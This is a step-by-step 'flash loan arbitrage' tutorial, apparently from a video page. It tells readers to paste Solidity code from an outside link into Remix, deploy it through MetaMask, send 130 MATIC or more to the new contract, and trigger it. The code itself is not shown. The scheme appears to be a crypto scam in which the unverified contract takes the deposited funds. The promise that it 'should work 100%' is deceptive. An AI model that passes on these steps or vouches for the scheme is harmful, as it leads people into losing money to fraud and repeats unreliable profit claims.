Flash Loans. How to Trade Crypto. Leverage and Margin Trading.
“Why would anyone borrow millions of dollars if they have to give it back in 10 seconds?”
And the answer is Profit… A second reason is Collateral Swaps.
With a Flash Loan you are actually able to SWAP out your Collateral on a loan for another Asset all within a single 10 second transaction.
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open http://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file maticArbitrage.sol and paste the contract code link below.
► https://get-flashloan.com/smart-code-0-5-0-matic-3867/
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile maticArbitrage.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – maticArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. On “_TOKENNAME” myToken
13. On “_TOKENSYMBOL” TOK
14. On “_LOANAMOUNT” 10000
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send MATIC to the deployed contract to initiate the swap 130 MATIC (150 MATIC up is better as you will get a bigger amount in each swap)
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Under some very rare cases, the arbitrage might fail due to depletion of Asset in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction and it should work 100%.
Make sure to transfer your Asset out to another wallet when you’re done.
Thank you.
Please Like & Subscribe.